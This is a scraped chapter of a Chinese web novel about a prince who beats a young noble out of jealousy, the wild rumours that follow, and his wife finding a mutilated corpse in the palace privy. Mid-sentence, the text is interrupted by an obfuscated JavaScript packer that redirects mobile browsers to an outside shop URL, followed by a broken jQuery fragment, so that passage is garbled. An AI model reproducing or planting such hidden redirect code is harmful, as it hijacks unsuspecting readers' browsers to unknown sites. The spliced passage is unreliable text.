文趣网 > 其他小说 > 殿下别脑补了 > 14. 嗓子痒就喝水
    慕容钰腿脚发软缓缓向后挪步,京城纨绔圈谁人不知这安王最是蛮不讲理,说话做事从不讲逻辑,偏偏他的背景又是最大的,无人敢惹。

    他今天是倒了什么八辈子霉了,出门撞个人就是王妃,逛个铺子就是安王本人。

    果然那臭道士说的没错,他这几日不宜出门,会有血光之灾。

    他僵硬地转过身嘿嘿一笑,秉持着伸手不打笑脸人的原则同言衡打招呼,“殿下,您今日怎么有兴致来逛这汀绣阁啊。”

    言衡冷哼一声并不想与他多言。

    奈何这家伙丝毫看不出言衡的脸色,道:“殿下,我想您误会了,我与王妃真的没啥。我们一起来这是因为我不小心把王妃的衣服扯破了,我总得补偿王妃吧……”

    言衡薄唇轻抿,心里隐约浮现出一丝怒色,“你把王妃衣服扯破了?”

    慕容钰终是察觉出周身莫名多了一丝冷气,连连后退,“不小心的,不小心的。”

    他似是觉得解释地还不够明白,又说道:“都是王妃的贴身丫鬟全程陪着的,我们先去了医馆,又逛了几条街,最后才来到这汀绣阁。”

    李清梦想扶额头又怕疼而不敢扶:这个大傻子,越描越黑了。

    言衡面色不悦:“还去了医馆逛了街,你把王妃伤着了?”

    慕容钰此时都要退到了墙壁上,退无可退,声音都带着哭腔,“殿下,这真不是故意的,是我起身时不小心撞到王妃额头了。”

    这些话在言衡脑海里自动翻译成:这个人在众目睽睽之下扯破了王妃的衣服,还引诱王妃一起做逛街试衣服这等亲密之事。

    怪他没本事,不够吸引王妃,才让王妃有精力来找外人。

    还有王妃额头上的伤,那么大个包,不知她痛不痛,这要多久才能好。

    他越想越气,眼底翻涌着压不住的戾气,目光沉沉死死锁定在慕容钰身上。

    慕容钰感受到这股蕴含杀意的目光,泣下无从。

    爹你不用给我留饭了,儿子我啊,马上就要被当成一盘菜收拾了……

    果不其然,言衡的拳头下一秒就挥到了他的面门,“别打脸,别打脸。”

    这场两个男人之间的争斗以言衡单方面殴打而结束,李清梦在一旁根本插不上话,她也不敢上前,生怕拳头不长眼落到她身上。

    可怜的慕容世子,回去恐怕还要被他爹打一顿。她都有点愧疚坑他那么多银子了,“兰枝,咱们还是把银子还给他吧……”

    兰枝直点头:“我也觉得,小姐,咱不能做那落井下石之人。”

    这一切被周围百姓尽收眼底,流言越传越广,越传越离谱。

    “你知道吗,安王和慕容世子在汀绣阁为了抢一件衣服大打出手。”

    “这是真事?”

    “千真万确,我亲眼看到的。”

    甚至还有:“听说了吗,听说了吗,安王殿下和慕容世子当街争抢一件女子的衣裳,打到一半那衣服撕成两半,两人各拿一半谁也不肯松手。”

    “我还听说,慕容世子脸上挨了一拳,当场哭着喊‘别打脸’,喊得整条街都听见了。”

    “一件衣服?多大的事啊?”

    “关键是那件衣服只有一件,掌柜的说谁出价高给谁。”

    “然后呢?”

    那人描述得栩栩如生,不去茶楼说书真是可惜了,“安王直接把钱袋拍桌上了:‘本王出一百两。’慕容世子不服气,把荷包也拍上去了:‘本世子出两百。’安王冷笑一声:‘本王出五百。’慕容世子咬了咬牙:‘本世子出一千!’”

    “然后呢?”

    “然后安王说了一句:‘本王出两千,外加明天参你一本。’”

    “哈哈哈哈,那慕容世子怂了吧?”

    “怂了,当场就怂了。但嘴硬啊,走的时候还喊了一句:‘我要告你以权压人!’”

    “那安王怎么回的?”

    “安王头都没抬:‘本王有权,不用留着过年?’”

    “这确实像安王能干出来的事……”

    “还没完呢!还有人说他们争的根本不是衣服,是一把扇子。”

    “扇子?”

    “对,说是前朝名家手笔,世间仅此一把。安王想要,慕容世子也想要,两人在店里互相瞪了半盏茶的功夫。”

    “那扇子最后归谁了?”

    “谁都没拿到。掌柜的说看他们俩吵得太凶,怕出事,直接把扇子收起来说‘不卖了’。”

    “那安王不得把店砸了?”

    “没有,安王听完愣了一下,说了一句:‘那你还开什么店。’转身就走了。”

    “哈哈哈哈,慕容世子呢?”

    “慕容世子追出去想嘲讽一番安王怕了,结果被门槛绊了一跤,脸朝下摔在门口,门牙都碰碎了。”

    “那也太丢人了……”

    “最离谱的是还传出来一个版本,说他们争的不是衣服也不是扇子,是一盒点心。”

    “点心?”

    “对!说是醉仙楼新出的限量款,每天只卖十盒。安王排了半个时辰的队,轮到他的时候最后两盒被慕容世子买走了。”

    “然后呢?”

    “然后两个人就在醉仙楼门口对骂了一刻钟,最后安王把慕容世子手里那盒抢过来,扔了一锭银子在地上,潇洒地走了。”

    “慕容世子呢?”

    “慕容世子拿着那锭银子愣在原地,半天才反应过来:‘你拿钱羞辱谁呢?’”

    “哈哈哈哈所以真相到底是什么?”

    “真相?谁知道呢。原来这些王孙贵胄也跟咱普通老百姓一样打架,真是开了眼了。”

    李清梦听着京城各色各样的版本瞪大了双眼:还能这样?

    真是造谣一张嘴,辟谣跑断腿。这都什么跟什么啊……

    事后她心里有愧还去靖国公府想要看看他,结果被告知:“世子这半月都不见客,王妃还是日后再来吧。”

    说实在的,她还挺喜欢这种爽快人的——仁义这块。

    她不明白言衡为什么非得靠打架才能解决问题,难道这是他们纨绔圈特有的方式?

    当晚,瑞至轻手轻脚翻窗进书房,“殿下,都已经找人散播出去了。”

    言衡深邃的眼眸一改白日的纯粹:“做的不错。”

    瑞至:“另外,丞相府里的小厮查到了,他之前在吴王那当差,是在陛下给您赐婚前半个月才进入丞相府做事的。”

    他食指轻叩,嘴角扯出一抹笑意:“不愧是本王的好皇叔啊,这么早就在布局了。”

    “袭击本王和王妃那两批刺客查到了吗?”

    “还未。”

    “继续查。”

    伤害王妃的人,他一个也不会放过。

    处理完书房这里的事,他沐浴完毕回到卧房。李清梦今晚倒是听话,老老实实躺在床上看话本子等他回来。

    “殿下,你来了,快坐。”

    话虽这么说,可视线未挪动半分,目不转睛盯着她那话本。

    亏得他今日穿了个襟口低垂的寝袍,连锁骨与胸膛的轮廓都在灯火之下若隐若现,真是媚眼抛给瞎子看。

    “咳咳。”他轻咳一声,试图引起李清梦注意。

    李清梦头都不抬:“嗓子痒就喝水。”

    言衡面上佯怒:“李清梦,你到底有没有听本王说话。”

    “你不是还没说呢吗?”

    “本王给你管家权,你就是这样管家的?”

    她终于抬起头,与言衡四目相对:“殿下你搞清楚,我只是说‘要了’,没答应说我要做啊。”

    言衡被气得说不出话来,可是这么一听好像确实是。

    他不与李清梦争辩,走到床边一把扯过被子把自己蒙着被子里头背对着她。

    这女人,就不能在意一下他的情绪吗?

    他等啊等,等到半夜李清梦都没与他说话。

    他好不容易要把自己哄睡着了,李清梦在身后一下一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938577|213795||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下戳他的背,一股蚊子一样的声音萦绕在耳边,“殿下……殿下,我想去茅厕。太黑了,你陪我去。”

    李清梦也是迫不得已了才求助言衡,她不想用古代的恭桶,之前都是兰枝陪她一起去。这古代黑灯瞎火的,连穿越这种稀奇的事都发生在她身上,她很难不相信世界上有鬼啊。

    早知道晚上不喝那么多水了,离天亮还有那么久……不行了,实在是憋不住了。

    她蹑手蹑脚爬起来正准备从言衡身上爬过去,突然出现一只热热的东西抓住她的脚踝给她吓一激灵。

    “有脏东西!”她一通乱蹬,好巧不巧蹬到了某人的腰。

    言衡被踹得闷哼一声,后槽牙都要咬碎了:“李清梦,是本王。”

    李清梦猛地收回脚,莞尔一笑:“真是不好意思啊殿下,我寻思鬼呢。”

    言衡闭目轻叹,随手点燃一支烛台披上外衣,“走吧。”

    夜晚除了值夜的侍卫,王府寂静异常。

    走在路上李清梦浑身发毛,不知怎的,今晚总觉得有人在背后盯着她。她只得紧紧扯着言衡的袖子,半步都不想分开。

    “殿下,你用你的内力看看,周围是不是有东西啊。”

    “本王的内力又不是神力,哪有那么神奇。放心吧,有本王在,邪祟皆近不了本王的身。”

    “好吧……”

    可心底这股发毛的劲越来越明显,她这鸡皮疙瘩都起了一身,偏偏王府还这么大,寝殿离茅厕如此远。

    好不容易挨到了,还要她一个人进去。

    接过烛台,她迟迟不愿推开门,“殿下,你别离远了,你就在外面等我。”

    “好,本王等你。”

    原来这丫头也有害怕的时候。

    李清梦暗暗给自己加了加油,闭着眼脱了裤子准备速战速决。

    一阵释放之后,她餍足地悄然睁开了眼,就这一眼,给她留下了毕生的阴影。

    “啊——!言衡,真的有鬼!”

    她胡乱提上裤子连滚带爬跑了出来,抱着言衡的大腿不肯松手,眼泪都吓了出来。

    她语无伦次:“里面……里面有个死人。还是个死不瞑目的死人,我是闭着眼睛进去的,然后一睁眼的时候就与那个死人对视了……”

    “你不知道,他就蜷缩在前面那个坑里,脸色惨白全是血,就这么死死地盯着我。我与他对视的那一瞬间魂都要吓没了。”

    “而且、而且那个人手脚都被砍了,这不就是传说的人彘吗?说不定他才死不久……不行了不行了,言衡,茅坑里为什么会有死人?”

    这是她第一次见到尸体,还是这样一具骇人的尸体。她根本不敢闭眼,只要一闭眼脑海里自动浮现方才的画面。

    她再也控制不住,趴在地上干呕起来。

    言衡轻拍她的背,给她顺气。早在她喊出第一声的时候,他就给王府侍卫传了消息,一时间,各侍卫都往这里赶,包括兰枝。

    瑞至、福来齐齐来到两人面前,“殿下,发生了何事?”

    “去把里面的人抬出来。”

    瑞至福来忍着茅坑的恶臭将那具还没凉透的尸体搬了出来用白布盖上,言衡温热的手覆盖在李清梦眼睛上,语气难得的温柔,“别看。”

    她根本不想看,但她又不敢离开他身边,不知为何,她总觉得在他身边就会安心一些。

    兰枝一个箭步上前扶着李清梦的另一只胳膊,“小姐……”

    深更半夜的,这一幕可给她吓坏了,生怕小姐出了什么闪失。看到小姐安然无恙,她才暗暗松了一口气。

    那具尸体她也瞧见了,死状凄惨,怕是有人故意抛尸在那的。肯定是王府里的人,不然不会知道这个地方一般只有小姐才会过来。

    况且每日早晚都有洒扫的丫鬟和小厮打扫,这离最后一次打扫并未隔多少时辰,或许凶手就藏在这些人之间。

    言衡命人先封了茅厕,这两人靠近这里的人通通登记,剩下的事天亮后再议。